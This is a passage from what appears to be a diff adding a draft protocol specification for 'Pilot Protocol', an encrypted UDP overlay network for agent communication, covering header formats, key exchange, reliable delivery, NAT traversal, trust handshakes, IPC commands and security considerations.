Port | Destination Port | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Sequence Number | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Acknowledgment Number | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Window (segments) | Checksum (hi) | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Checksum (lo) | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +~~~~ +{: #fig-header title="Pilot Protocol Packet Header (34 bytes)"} + +All multi-byte fields are in network byte order (big-endian). + +## Field Definitions + +| Field | Offset | Size | Description | +|:------|:-------|:-----|:------------| +| Version | 0 | 4 bits | Protocol version. Current: 1 | +| Flags | 0 | 4 bits | SYN (0x1), ACK (0x2), FIN (0x4), RST (0x8) | +| Protocol | 1 | 1 byte | Transport type (see {{protocol-types}}) | +| Payload Length | 2 | 2 bytes | Payload length in bytes (max 65535) | +| Source Network | 4 | 2 bytes | Source network ID | +| Source Node | 6 | 4 bytes | Source node ID | +| Dest Network | 10 | 2 bytes | Destination network ID | +| Dest Node | 12 | 4 bytes | Destination node ID | +| Source Port | 16 | 2 bytes | Source port | +| Dest Port | 18 | 2 bytes | Destination port | +| Sequence Number | 20 | 4 bytes | Byte offset of this segment | +| Ack Number | 24 | 4 bytes | Next expected byte from peer | +| Window | 28 | 2 bytes | Advertised receive window in segments | +| Checksum | 30 | 4 bytes | CRC32 over header + payload | + +## Protocol Types {#protocol-types} + +| Value | Name | Description | +|:------|:-----|:------------| +| 0x01 | Stream | Reliable, ordered delivery (TCP-like) | +| 0x02 | Datagram | Unreliable, unordered (UDP-like) | +| 0x03 | Control | Internal control messages | + +## Flag Definitions + +| Bit | Name | Description | +|:----|:-----|:------------| +| 0 | SYN | Synchronize --- initiate connection | +| 1 | ACK | Acknowledge --- confirm receipt | +| 2 | FIN | Finish --- close connection | +| 3 | RST | Reset --- abort connection | + +## Checksum Calculation + +The checksum is computed as follows: + +1. Set the 4-byte checksum field to zero. +2. Compute CRC32 (IEEE polynomial) over the entire header (34 bytes with + zeroed checksum field) concatenated with the payload bytes. +3. Write the resulting 32-bit value into the checksum field in big-endian + byte order. + +Receivers MUST verify the checksum and discard packets with incorrect +values. + +Note: CRC32 detects accidental corruption but does not provide +cryptographic integrity. Tamper resistance is provided by tunnel-layer +encryption ({{tunnel-encryption}}). + +# Tunnel Encapsulation + +Virtual packets are encapsulated in UDP datagrams for transit over the +real Internet. Four frame types are defined, distinguished by a 4-byte +magic value. + +## Plaintext Frame (PILT) + +~~~~ ++------+------+------+------+---...---+---...---+ +| 0x50 | 0x49 | 0x4C | 0x54 | Header | Payload | ++------+------+------+------+---...---+---...---+ + P I L T 34 bytes variable +~~~~ + +The magic bytes 0x50494C54 ("PILT") indicate an unencrypted Pilot +Protocol frame. The header and payload follow immediately. + +## Encrypted Frame (PILS) {#tunnel-encryption} + +~~~~ ++------+------+------+------+----------+----------+---...---+ +| 0x50 | 0x49 | 0x4C | 0x53 | SenderID | Nonce |Ciphertext ++------+------+------+------+----------+----------+---...---+ + P I L S 4 bytes 12 bytes variable +~~~~ + +The magic bytes 0x50494C53 ("PILS") indicate an encrypted frame. + +SenderID: +: 4-byte Node ID of the sending daemon, in big-endian. Used by the + receiver to look up the shared AES-256-GCM key for this peer. + +Nonce: +: 12-byte GCM nonce. See {{nonce-management}} for construction. + +Ciphertext: +: The Pilot Protocol header and payload, encrypted with AES-256-GCM + {{RFC5116}}. The ciphertext includes a 16-byte authentication tag + appended by GCM. + +The encryption key is derived from an X25519 {{RFC7748}} ECDH exchange +between the two daemons (see {{key-exchange}}), processed through +HKDF {{RFC5869}} (see {{hkdf-derivation}}). + +## Key Exchange Frame (PILK) {#key-exchange} + +~~~~ ++------+------+------+------+----------+---...---+ +| 0x50 | 0x49 | 0x4C | 0x4B | SenderID | X25519 | ++------+------+------+------+----------+---...---+ + P I L K 4 bytes 32 bytes +~~~~ + +Anonymous key exchange. The sender transmits its ephemeral X25519 public +key (32 bytes, per {{RFC7748}}). Both sides compute the ECDH shared +secret and derive an AES-256-GCM key. + +PILK provides confidentiality but not authentication. An active attacker +can perform a man-in-the-middle attack by substituting their own public +key. See {{authenticated-key-exchange}} for the authenticated variant. + +## Authenticated Key Exchange Frame (PILA) {#authenticated-key-exchange} + +~~~~ ++------+------+------+------+----------+---------+---------+---------+ +| 0x50 | 0x49 | 0x4C | 0x41 | SenderID | X25519 | Ed25519 | Sig | ++------+------+------+------+----------+---------+---------+---------+ + P I L A 4 bytes 32 bytes 32 bytes 64 bytes +~~~~ + +Authenticated key exchange. In addition to the X25519 public key, the +sender includes its Ed25519 public key (32 bytes, per {{RFC8032}}) and a +64-byte Ed25519 signature. + +The signature covers the concatenation of: + +1. The ASCII string "auth" (4 bytes) +2. The sender's Node ID (4 bytes, big-endian) +3. The X25519 public key (32 bytes) + +The receiver verifies the signature using the sender's Ed25519 public key, +which it obtains from the registry and cross-checks against the claimed +Node ID. This binds the ephemeral X25519 key to the sender's persistent +identity, preventing man-in-the-middle attacks. + +Daemons with persistent Ed25519 identities SHOULD use PILA. Daemons +without persistent identities fall back to PILK. + +## NAT Punch Frame (PILP) + +~~~~ ++------+------+------+------+----------+ +| 0x50 | 0x49 | 0x4C | 0x50 | SenderID | ++------+------+------+------+----------+ + P I L P 4 bytes +~~~~ + +The magic bytes 0x50494C50 ("PILP") indicate a NAT punch frame. + +SenderID: +: 4-byte Node ID of the sending daemon, in big-endian. + +The PILP frame carries no overlay payload. Its sole purpose is to create +a NAT mapping by sending a UDP packet to the peer's observed endpoint +during hole-punch coordination ({{hole-punching}}). Receivers silently +discard PILP frames after recording the sender's source address for +subsequent direct communication. + +# Session Layer + +## Connection State Machine + +~~~~ + Dial() + CLOSED -----------> SYN_SENT + ^ | + | SYN-ACK recv + | | + | v + | ESTABLISHED <--- Listen() + SYN recv + | | + | Close() + | | + | v + | FIN_WAIT + | | + | ACK recv + | | + | v + | TIME_WAIT + | | + | 10s timeout + | | + +--------------------+ +~~~~ +{: #fig-state-machine title="Connection State Machine"} + +## Three-Way Handshake + +Connection establishment uses a three-way handshake: + +~~~~ +Initiator Responder + | | + |-------- SYN seq=X ------------->| + | | + |<--- SYN+ACK seq=Y ack=X+1 -----| + | | + |-------- ACK ack=Y+1 ----------->| + | | + | ESTABLISHED | ESTABLISHED +~~~~ + +The initiator selects an initial sequence number X. The responder selects +its own initial sequence number Y and acknowledges X+1. The initiator +confirms by acknowledging Y+1. + +Both sides include their advertised receive window in the Window field of +the SYN and SYN-ACK packets. + +## Connection Teardown + +~~~~ +Closer Remote + | | + |-------- FIN seq=N ------------->| + | | + |<------- ACK ack=N+1 -----------| + | | + | TIME_WAIT (10s) | CLOSED + | | + | CLOSED | +~~~~ + +The closer sends FIN, waits for ACK, and enters TIME_WAIT for 10 +seconds. The 10-second TIME_WAIT is shorter than TCP's typical 2*MSL +because overlay RTTs are bounded by the underlay network. + +## Sequence Number Arithmetic + +Sequence numbers are 32-bit unsigned integers with wrapping comparison +per {{RFC1982}}: + +~~~~ +seqAfter(a, b) = int32(a - b) > 0 +~~~~ + +This correctly handles wraparound at 2^32. + +## Reliable Delivery + +The Stream protocol (0x01) provides reliable, ordered byte stream +delivery using a sliding window mechanism. + +### Retransmission Timeout (RTO) + +RTO is computed per {{RFC6298}}: + +- SRTT (Smoothed RTT): updated with alpha = 1/8 +- RTTVAR (RTT Variance): updated with beta = 1/4 +- RTO = SRTT + max(G, 4 * RTTVAR) +- G (clock granularity floor) = 10 ms +- RTO is clamped to the range 200 ms to 10 s + +SYN packets are retransmitted with exponential backoff: 1s, 2s, 4s, 8s, +up to 5 retries. Data segments allow up to 8 retransmission attempts +before the connection is closed. + +### Out-of-Order Handling + +Segments received out of order are buffered and delivered to the +application in sequence order when gaps are filled. + +## Selective Acknowledgment (SACK) + +When the receiver has out-of-order segments, it encodes SACK blocks in the +ACK payload. Each SACK block is a pair of 32-bit sequence numbers +representing a contiguous range of received bytes beyond the cumulative +ACK point. Up to 4 SACK blocks are encoded per ACK. + +The sender uses SACK information to retransmit only the missing segments, +skipping segments the peer has already received. + +## Congestion Control + +The protocol implements TCP-style congestion control: + +Slow Start: +: The congestion window (cwnd) starts at 10 segments (40 KB) per + {{RFC6928}} and grows by one segment for each ACK received, until cwnd + reaches the slow-start threshold (ssthresh). + +Congestion Avoidance: +: After cwnd reaches ssthresh, growth switches to additive-increase: + cwnd grows by approximately one segment per round-trip time (Appropriate + Byte Counting per {{RFC3465}}). + +Fast Retransmit: +: After 3 duplicate pure ACKs (data packets with piggybacked ACKs are + excluded per {{RFC5681}} Section 3.2), the sender retransmits the + missing segment without waiting for RTO. + +Multiplicative Decrease: +: On loss detection (fast retransmit or RTO), ssthresh is set to + max(cwnd/2, 2 segments). On RTO, cwnd is additionally reset to 1 + segment (Tahoe behavior). + +The maximum congestion window is 1 MB. The maximum segment size (MSS) +is 4096 bytes. + +## Flow Control + +Each ACK carries the receiver's advertised window --- the number of free +segments in its receive buffer. The sender's effective window is: + +~~~~ +effective_window = min(cwnd, peer_advertised_window) +~~~~ + +This prevents a fast sender from overwhelming a slow receiver. + +### Zero-Window Probing + +When the receiver advertises a zero window, the sender enters persist +mode and sends 1-byte probe segments at exponentially increasing intervals +until the receiver opens its window. + +## Write Coalescing (Nagle's Algorithm) + +Small writes are buffered when unacknowledged data is in flight and +flushed when: + +- The buffer reaches MSS (4096 bytes), or +- All previous data is acknowledged, or +- A 40 ms timeout expires. + +This reduces packet overhead for applications performing many small +writes. The algorithm can be disabled per-connection with a NoDelay +option, analogous to TCP_NODELAY. + +## Automatic Segmentation + +Large writes are automatically segmented into MSS-sized chunks (4096 +bytes) by the daemon. Applications can write arbitrarily large buffers +without manual chunking. + +## Delayed ACKs + +Instead of sending an ACK for every received segment, the daemon batches +up to 2 segments or 40 ms (whichever comes first). When out-of-order +data is present, ACKs are sent immediately with SACK blocks to trigger +fast retransmit. When data is sent on a connection, the pending delayed +ACK is cancelled because the outgoing data packet piggybacks the latest +cumulative ACK and receive window. + +## Keepalive and Idle Timeout + +Keepalive probes (empty ACKs) are sent every 30 seconds to idle +connections. Connections idle for 120 seconds are automatically closed. +These timers are appropriate for the overlay's use case (agent +communication), where stale connections should be reclaimed promptly. + +## TIME_WAIT + +Closed connections enter TIME_WAIT for 10 seconds before being removed. +During TIME_WAIT, the connection occupies its port binding (preventing +reuse confusion with delayed packets) but does not count as active. + +# NAT Traversal + +## STUN-Based Endpoint Discovery + +On startup, the daemon sends a UDP probe to the beacon. The beacon +observes the daemon's public IP address and port (as mapped by NAT) and +reports it back. This follows the mechanism described in {{RFC8489}} +(Session Traversal Utilities for NAT). + +The discovered public endpoint is registered with the registry as the +daemon's locator. + +For daemons with known public endpoints (e.g., cloud VMs), the +`-endpoint host:port` flag skips STUN and registers the specified +endpoint directly. + +## Hole Punching {#hole-punching} + +When daemon A wants to reach daemon B and both are behind NAT: + +1. Daemon A sends a punch request to the beacon, specifying B's Node ID. +2. The beacon looks up B's registered endpoint and sends a punch command + to both A and B, instructing each to send a UDP packet to the other's + observed endpoint. +3. Both daemons send UDP packets to each other simultaneously, punching + holes in their respective NATs. +4. Subsequent packets flow directly between A and B. + +This works for Full Cone, Restricted Cone, and Port-Restricted Cone NAT +types. + +## Relay Fallback + +When hole punching fails (typically Symmetric NAT, where the mapped port +changes per destination), the beacon provides transparent relay: + +~~~~ ++----------+ +----------+ +----------+ +| Daemon A | ------> | Beacon | ------> | Daemon B | ++----------+ relay +----------+ relay +----------+ +~~~~ + +The relay frame format: + +~~~~ ++------+----------+----------+---...---+ +| 0x05 | SenderID | DestID | Payload | ++------+----------+----------+---...---+ +1 byte 4 bytes 4 bytes variable +~~~~ + +The beacon unwraps the relay header and forwards the payload to the +destination daemon. Relay is transparent to the session layer --- the +virtual packet inside the relay frame is identical to a directly-delivered +packet. + +## Connection Establishment Strategy + +When dialing a remote daemon, the connection strategy is: + +1. Attempt 3 direct UDP sends to the peer's registered endpoint. +2. If all 3 fail, switch to relay mode through the beacon. +3. Attempt 3 relay sends. +4. If all relay attempts fail, return an error to the application. + +The switch from direct to relay is automatic and transparent to the +application layer. + +# Security + +## Identity + +Each node receives an Ed25519 {{RFC8032}} keypair from the registry upon +registration. The private key serves as the node's identity credential. +The registry holds all public keys and can verify signatures. + +Identities may be persisted to disk so that a node retains its keypair +and virtual address across restarts. On restart with a persisted identity, +the daemon re-registers with the stored public key and the registry +restores the node's address and memberships. + +## Tunnel-Layer Encryption + +Tunnel encryption is enabled by default. On startup, each daemon +generates an ephemeral X25519 {{RFC7748}} keypair. When two daemons first +communicate, they exchange public keys via PILK ({{key-exchange}}) or PILA +({{authenticated-key-exchange}}) frames, compute an ECDH shared secret, +and derive an AES-256-GCM {{RFC5116}} key via HKDF ({{hkdf-derivation}}). + +All subsequent packets between the pair are encrypted (PILS frames), +regardless of virtual port. The encryption is at the tunnel layer --- +it protects all overlay traffic between two daemons, including connection +handshakes. + +The sender's Node ID (4 bytes, big-endian) is used as GCM Additional +Authenticated Data (AAD). This binds the ciphertext to the sender's +identity --- a decryption attempt with an incorrect sender ID will fail +GCM authentication, preventing packet reattribution attacks. + +Tunnel encryption is backward-compatible: if a peer does not respond to +key exchange, communication falls back to plaintext (PILT frames). + +## HKDF Key Derivation {#hkdf-derivation} + +The shared secret from the X25519 ECDH exchange is processed through +HKDF {{RFC5869}} to produce the AES-256-GCM key: + +~~~~ +Extract: PRK = HMAC-SHA256(salt=empty, IKM=shared_secret) +Expand: key = HMAC-SHA256(PRK, info || 0x01) +~~~~ + +For tunnel encryption, info is the ASCII string "pilot-tunnel-v1" +(15 bytes). For application-layer encryption on port 443 +({{application-layer-encryption}}), info is the ASCII string +"pilot-secure-v1" (15 bytes). + +After the AES-256-GCM cipher is established, implementations MUST zero +the shared secret, PRK, and derived key material in memory to limit the +window of exposure if process memory is compromised. + +## Authenticated Key Exchange Upgrade + +When a daemon has a persisted Ed25519 identity, the key exchange is +upgraded from PILK to PILA (see {{authenticated-key-exchange}}). The +Ed25519 signature binds the ephemeral X25519 key to the node's persistent +identity, preventing man-in-the-middle attacks. + +Implementations SHOULD use PILA when an Ed25519 identity is available. + +## Application-Layer Encryption (Port 443) {#application-layer-encryption} + +Virtual port 443 provides end-to-end encryption between two agents, on +top of any tunnel-layer encryption. The agents perform an X25519 ECDH +handshake and derive a shared key via HKDF {{RFC5869}} with info string +"pilot-secure-v1", then use AES-256-GCM for all subsequent data. + +Each encrypted frame: + +~~~~ +[4-byte length][12-byte nonce][ciphertext + 16-byte GCM tag] +~~~~ + +The sender's nonce prefix (first 4 bytes of the nonce, see +{{application-layer-nonces}}) is used as GCM Additional Authenticated +Data (AAD). This binds ciphertext to the sender's role (server or +client), preventing cross-role confusion attacks. + +This provides defense in depth: even if the tunnel encryption is +compromised (e.g., by a compromised intermediate daemon in a future +multi-hop topology), port 443 data remains protected. + +## Trust Handshake Protocol (Port 444) + +Port 444 implements a bilateral trust negotiation protocol. Two agents +exchange trust requests with justification strings and must both approve +before a trust relationship is established. + +Three auto-approval paths exist: + +1. **Mutual handshake**: If both agents independently request trust with + each other, the relationship is auto-approved. +2. **Network trust**: If both agents share a non-backbone network, the + relationship is auto-approved (network membership serves as a trust + signal). +3. **Manual approval**: If neither condition is met, the request is queued + for the receiving agent's operator to approve or reject. + +Trust pairs are recorded in the registry and persist across restarts. +Trust is revocable: revoking trust immediately prevents further +communication. + +When trust handshake messages are relayed through the registry (for +private nodes that cannot be reached directly), the sender MUST include +an Ed25519 {{RFC8032}} signature over the concatenation of the ASCII +string "handshake:", the sender's Node ID (decimal), ":", and the peer's +Node ID (decimal). The receiver verifies the signature against the +sender's public key as registered in the registry. This prevents +handshake message forgery by a compromised relay path. + +## Privacy Model + +Agents are private by default: + +- A node's physical IP:port is never disclosed in registry responses + unless the node has explicitly opted into public visibility. +- Resolving a private node's endpoint requires one of: (a) the node is + public, (b) a mutual trust pair exists, or (c) both nodes share a + non-backbone network. +- Listing nodes on the backbone (network 0) is rejected by the registry. + Non-backbone networks allow listing since membership is the trust + boundary. + +## Rate Limiting + +The registry enforces per-connection sliding window rate limits using a +token-bucket algorithm with per-source tracking. Clients that exceed the +limit receive throttle responses. + +Daemons implement SYN rate limiting to mitigate connection flood attacks. + +## IPC Security + +The daemon's Unix domain socket is created with mode 0600, restricting +access to the socket owner. This prevents unprivileged processes on the +same machine from issuing commands to the daemon. + +# Nonce Management {#nonce-management} + +## Construction + +AES-256-GCM nonces are 96 bits (12 bytes), constructed as: + +~~~~ ++---...---+---...---+ +| Prefix | Counter | ++---...---+---...---+ + 4 bytes 8 bytes +~~~~ + +Prefix: +: 4 bytes generated from a cryptographically secure random source when + the tunnel session is established. Unique per session with overwhelming + probability. + +Counter: +: 8-byte unsigned integer, starting at 0, incremented by 1 for each + packet encrypted. The counter MUST NOT be reset within a session. + +## Session Lifecycle + +A new tunnel session is established when two daemons perform an X25519 +key exchange (PILK or PILA). Each session produces: + +- A fresh AES-256-GCM key (from the ECDH shared secret) +- A fresh random nonce prefix + +Since each session uses a different key, nonces from different sessions +cannot collide (different keys are independent encryption contexts). + +## Counter Exhaustion + +The 8-byte counter supports 2^64 encryptions per session. Implementations +MUST re-key (initiate a new key exchange) before the counter reaches +2^64 - 1. In practice, at 1 million packets per second, counter +exhaustion would take over 584,000 years. + +## Application-Layer Nonces (Port 443) {#application-layer-nonces} + +Secure connections on port 443 use a role-prefix nonce scheme: + +~~~~ ++---...---+---...---+ +| Role | Counter | ++---...---+---...---+ + 4 bytes 8 bytes +~~~~ + +Role Prefix: +: 0x00000001 for the server (listener) side, 0x00000002 for the client + (dialer) side. Fixed per role for the lifetime of the connection. + +Counter: +: 8-byte unsigned integer, starting at 0, incremented by 1 for each + packet encrypted. + +The role prefix prevents nonce collision between the two sides of a +connection, even if both encrypt the same number of packets. Each +connection has an independent counter and key derived from its own X25519 +handshake and HKDF expansion. + +# Version Negotiation + +## Version Field + +The 4-bit Version field in the packet header identifies the protocol +version. The current version is 1. Version 0 is reserved and MUST NOT +be used. + +## Handling Mismatches + +The initiator includes its protocol version in the SYN packet. The +responder checks the version: + +- If supported: echoes the same version in SYN-ACK. Both sides use this + version for the connection's lifetime. +- If unsupported: sends RST. No version downgrade negotiation occurs. + +For non-SYN packets, if the Version field does not match the connection's +established version, the packet is silently discarded. Implementations +SHOULD log such events at debug level. + +## Future Extensibility + +Future protocol versions MAY extend the header format. Implementations +MUST NOT assume a fixed header size based solely on the Version field --- +they SHOULD use the version to determine the expected header layout. + +# Path MTU Considerations + +## Encapsulation Overhead + +The total per-packet overhead for encrypted tunnel frames is: + +| Component | Size | +|:----------|:-----| +| PILS magic | 4 bytes | +| Sender Node ID | 4 bytes | +| GCM nonce | 12 bytes | +| Pilot header | 34 bytes | +| GCM authentication tag | 16 bytes | +| **Total** | **70 bytes** | + +For plaintext frames (PILT), overhead is 38 bytes (4-byte magic + 34-byte +header). + +## Effective Payload + +With a typical 1500-byte Ethernet MTU, 20-byte IP header, and 8-byte UDP +header: + +- Available for Pilot: 1500 - 28 = 1472 bytes +- Encrypted payload capacity: 1472 - 70 = 1402 bytes +- Plaintext payload capacity: 1472 - 38 = 1434 bytes + +## MSS Selection + +The default MSS of 4096 bytes exceeds single-packet capacity on standard +Ethernet paths. Full-MSS segments will be fragmented into 3 IP fragments. +This is acceptable on most networks but may fail on paths that block IP +fragmentation. + +Recommendations: + +- For Internet-facing deployments where IP fragmentation may be blocked, + an MSS of 1400 bytes avoids fragmentation on virtually all paths. +- For datacenter or local deployments (jumbo frames), the default 4096 + MSS is appropriate. +- Implementations SHOULD provide a configurable MSS option. +- Implementations SHOULD NOT set the Don't Fragment (DF) bit on UDP + datagrams, allowing IP-layer fragmentation as a fallback. + +# Built-in Services + +## Echo (Port 7) + +The echo service reflects any data received back to the sender. It is +used for liveness testing (ping) and throughput benchmarking. + +## Data Exchange (Port 1001) + +A typed frame protocol for structured data. Each frame carries a 4-byte +type tag and a 4-byte length prefix: + +| Type | Value | Description | +|:-----|:------|:------------| +| Text | 0x01 | UTF-8 text | +| Binary | 0x02 | Raw bytes | +| JSON | 0x03 | JSON document | +| File | 0x04 | File with name metadata | + +## Event Stream (Port 1002) + +A publish/subscribe broker. Agents subscribe to named topics and receive +events published by any peer. Wildcard subscriptions (`*`) match all +topics. The wire protocol uses newline-delimited text commands: + +- `SUB ` --- subscribe to a topic +- `PUB ` --- publish an event +- `EVENT ` --- delivered event (broker to subscriber) + +## Task Submission (Port 1003) + +A task lifecycle protocol. Agents submit tasks with descriptions, workers +accept or decline, execute, and return results. A reputation score (polo +score) adjusts based on execution efficiency. + +# Gateway + +The gateway bridges the overlay network and standard IP networks, +allowing unmodified TCP programs (curl, browsers, databases) to +communicate with overlay agents. + +## Address Mapping + +The gateway maps virtual addresses to local IP addresses on the loopback +interface. For each mapped agent, the gateway creates a loopback alias: + +- Linux: `ip addr add /32 dev lo` +- macOS: `ifconfig lo0 alias ` + +The default mapping subnet is 10.4.0.0/16. Each virtual address is +assigned a unique local IP within this subnet. + +## Proxying + +For each mapped address, the gateway listens on configurable TCP ports +(default: 7, 80, 443, 1000, 1001, 1002, 8080, 8443) on the local IP. +Incoming TCP connections are forwarded to the corresponding agent's +virtual address and port via the daemon's Dial operation. Data flows +bidirectionally between the TCP connection and the overlay stream. + +This enables scenarios such as: + +~~~~ +curl http://10.4.0.1:80/api # reaches agent 0:0000.0000.0001 port 80 +~~~~ + +# IPC Protocol + +## Framing + +The daemon and driver communicate over a Unix domain socket using +length-prefixed messages: + +~~~~ +[4-byte big-endian length][message bytes] +~~~~ + +Maximum message size: 1,048,576 bytes (1 MB). + +## Command Set + +| Cmd | Name | Direction | Description | +|:----|:-----|:----------|:------------| +| 0x01 | Bind | Driver -> Daemon | Bind a virtual port | +| 0x02 | BindOK | Daemon -> Driver | Confirm port binding | +| 0x03 | Dial | Driver -> Daemon | Connect to remote agent | +| 0x04 | DialOK | Daemon -> Driver | Connection established | +| 0x05 | Accept | Daemon -> Driver | Incoming connection | +| 0x06 | Send | Driver -> Daemon | Send data on connection | +| 0x07 | Recv | Daemon -> Driver | Receive data | +| 0x08 | Close | Driver -> Daemon | Close connection | +| 0x09 | CloseOK | Daemon -> Driver | Connection closed | +| 0x0A | Error | Daemon -> Driver | Error response | +| 0x0B | SendTo | Driver -> Daemon | Send datagram | +| 0x0C | RecvFrom | Daemon -> Driver | Receive datagram | +| 0x0D | Info | Driver -> Daemon | Query daemon status | +| 0x0E | InfoOK | Daemon -> Driver | Status response (JSON) | +| 0x0F | Handshake | Driver -> Daemon | Trust handshake command | +| 0x10 | HandshakeOK | Daemon -> Driver | Handshake result (JSON) | +| 0x11 | ResolveHostname | Driver -> Daemon | Resolve hostname to address | +| 0x12 | ResolveHostnameOK | Daemon -> Driver | Resolution result (JSON) | +| 0x13 | SetHostname | Driver -> Daemon | Set discoverable hostname | +| 0x14 | SetHostnameOK | Daemon -> Driver | Hostname confirmation | +| 0x15 | SetVisibility | Driver -> Daemon | Set public/private | +| 0x16 | SetVisibilityOK | Daemon -> Driver | Visibility confirmation | +| 0x17 | Deregister | Driver -> Daemon | Deregister from registry | +| 0x18 | DeregisterOK | Daemon -> Driver | Deregister confirmation | +| 0x19 | SetTags | Driver -> Daemon | Set node tags (JSON) | +| 0x1A | SetTagsOK | Daemon -> Driver | Tags confirmation | +| 0x1B | SetWebhook | Driver -> Daemon | Set event webhook URL | +| 0x1C | SetWebhookOK | Daemon -> Driver | Webhook confirmation | +| 0x1D | SetTaskExec | Driver -> Daemon | Enable/disable task exec | +| 0x1E | SetTaskExecOK | Daemon -> Driver | Task exec confirmation | +| 0x1F | Network | Driver -> Daemon | Network management | +| 0x20 | NetworkOK | Daemon -> Driver | Network result (JSON) | +| 0x21 | Health | Driver -> Daemon | Health check probe | +| 0x22 | HealthOK | Daemon -> Driver | Health response (JSON) | + +## Network Sub-Commands + +The Network command (0x1F) uses a sub-command byte as the first byte of +the payload: + +| Sub | Name | Payload | Description | +|:----|:-----|:--------|:------------| +| 0x01 | List | (empty) | List joined networks | +| 0x02 | Join | network\_id, token | Join a network | +| 0x03 | Leave | network\_id | Leave a network | +| 0x04 | Members | network\_id | List network members | +| 0x05 | Invite | network\_id, node\_id | Invite a node | +| 0x06 | PollInvites | (empty) | Poll pending invitations | +| 0x07 | RespondInvite | network\_id, accept | Accept/reject invite | + +# Registry Replication + +## Hot-Standby Architecture + +The registry supports high-availability through a hot-standby replication +model. One registry instance operates as the primary (accepting reads +and writes) while one or more standbys maintain synchronized copies of +the state. + +## Push-Based Replication + +Standbys connect to the primary via persistent TCP connections and +subscribe for state updates. On any mutation (node registration, +network creation, trust pair change, policy update), the primary pushes +a full state snapshot to all connected standbys. The snapshot includes +nodes, networks, trust pairs, and enterprise state. + +## Liveness and Failover + +The primary sends heartbeat messages every 15 seconds. A standby that +does not receive a heartbeat within 30 seconds considers the primary +unavailable. Failover is manual: an operator promotes a standby to +primary by restarting it in primary mode. + +Standbys reject all write operations, returning an error directing the +client to the primary. This prevents split-brain scenarios. + +# Enterprise Extensions + +## Role-Based Access Control + +Networks support three roles: + +| Role | Permissions | +|:-----|:------------| +| Owner | Full control: delete network, transfer ownership, all admin operations | +| Admin | Manage members: invite, kick, promote, demote, set policy | +| Member | Participate: send/receive data, list members | + +Role assignments are stored per-network in the registry. Operations are +gated by minimum role requirement --- a member cannot modify policy, and +an admin cannot delete the network. The network creator is automatically +assigned the Owner role. + +## Network Policies + +Each network may define policies that constrain member behavior: + +- **max\_members:** Maximum number of nodes in the network. The registry + rejects join and invite operations when the limit is reached. +- **allowed\_ports:** Per-network port allow-list (reserved for future + enforcement at the daemon level). + +Policies persist across registry restarts and are replicated to standbys. + +## Audit Trail + +The registry maintains a ring-buffer audit log recording +security-relevant operations: + +- Node registration and deregistration +- Trust relationship creation and revocation +- Network membership changes (join, leave, kick, invite) +- Role assignments (promote, demote, ownership transfer) +- Policy modifications +- Key rotation and expiry events +- Enterprise flag changes + +Each audit entry includes a timestamp, the action identifier, the actor's +node ID, and for state mutations, both the old and new values. The audit +log persists across registry restarts via atomic JSON snapshots. + +An export API allows external systems (SIEM, compliance tools) to +retrieve audit events. Webhook-based export with retry logic and a +dead-letter queue ensures reliable delivery to external endpoints. + +## Identity Integration + +The registry optionally supports external identity integration: + +- **OIDC/JWT Validation:** Nodes may authenticate using JWT tokens from + an OIDC provider. The registry validates RS256 signatures using cached + JWKS (JSON Web Key Set) endpoints. +- **External Identity Mapping:** Nodes may carry an external\_id field + linking their overlay identity to an OIDC subject or directory entry. +- **Directory Synchronization:** Webhook-based synchronization with + external identity providers enables centralized identity management. + +# Security Considerations + +## CRC32 Limitations + +The packet checksum uses CRC32 (IEEE polynomial), which detects accidental +corruption but provides no cryptographic integrity. An attacker who can +modify packets in transit can recompute a valid CRC32. Integrity against +active attackers is provided by tunnel-layer AES-256-GCM encryption, which +MUST be used for all Internet-facing deployments. + +## Anonymous Key Exchange + +The PILK key exchange frame provides no identity binding. An active +man-in-the-middle attacker can substitute their own X25519 public key, +establishing separate encrypted sessions with each peer. The PILA +authenticated key exchange ({{authenticated-key-exchange}}) prevents this +by binding the ephemeral key to an Ed25519 identity. Implementations +SHOULD use PILA whenever an Ed25519 identity is available. + +## Registry Authentication + +Write operations to the registry that modify node state (deregister, set +visibility, set hostname, set tags, network operations) require either: + +- An Ed25519 {{RFC8032}} signature from the node's registered keypair, or +- A valid admin token (verified via constant-time comparison to prevent + timing attacks). + +Nodes without a registered public key MUST provide a valid admin token +for any write operation. + +## TLS Certificate Pinning + +Clients MAY pin the registry's TLS certificate fingerprint (SHA-256 hash +of the DER-encoded certificate). When pinning is configured, the client +performs manual certificate verification via the TLS VerifyPeerCertificate +callback, rejecting connections whose certificate hash does not match +the pinned value. This protects against compromised Certificate +Authorities. + +## Registry as Trusted Third Party + +The registry is a centralized trusted third party. Compromise of the +registry could allow: + +- Address hijacking (reassigning a node's virtual address) +- Locator spoofing (returning incorrect IP:port for a node) +- Public key substitution (enabling identity impersonation) +- Metadata harvesting (enumerating registered nodes) + +Mitigations include TLS transport with optional certificate pinning, +Ed25519 signature verification for node operations, admin token +authentication for privileged operations, hot-standby replication for +availability, and persistent audit logging for forensic analysis. Future +work should explore distributed registry designs with consensus-based +replication. + +## GCM Nonce Uniqueness + +AES-256-GCM security depends critically on nonce uniqueness under the same +key. The nonce construction ({{nonce-management}}) guarantees uniqueness +through a random prefix (unique per session) and a monotonic counter +(never reset within a session). Since each key exchange produces a new +key, nonces from different sessions are in independent cryptographic +contexts. + +Implementations MUST NOT reuse nonces. Implementations MUST NOT reset +the counter within a session. Implementations MUST re-key before counter +exhaustion. + +## Metadata Exposure + +Even with tunnel encryption (PILS), the sender's Node ID is transmitted +in cleartext (it is needed for the receiver to look up the decryption +key). This allows a passive observer to determine which daemons are +communicating, though the content and virtual addressing within the +encrypted payload remain confidential. + +## Double Congestion Control + +Pilot Protocol implements congestion control at the overlay layer, while +the underlay UDP-over-IP path may also be subject to network-level +congestion signals (ICMP source quench, ECN). The overlay congestion +control operates independently, which may lead to suboptimal behavior on +heavily congested paths. This is a known issue shared with all overlay +transport protocols. + +## Replay Protection + +Implementations MUST maintain a sliding-window replay bitmap for each +peer's tunnel session. The recommended window size is 256 nonces. The +replay check operates as follows: + +1. If the nonce counter is below the window's 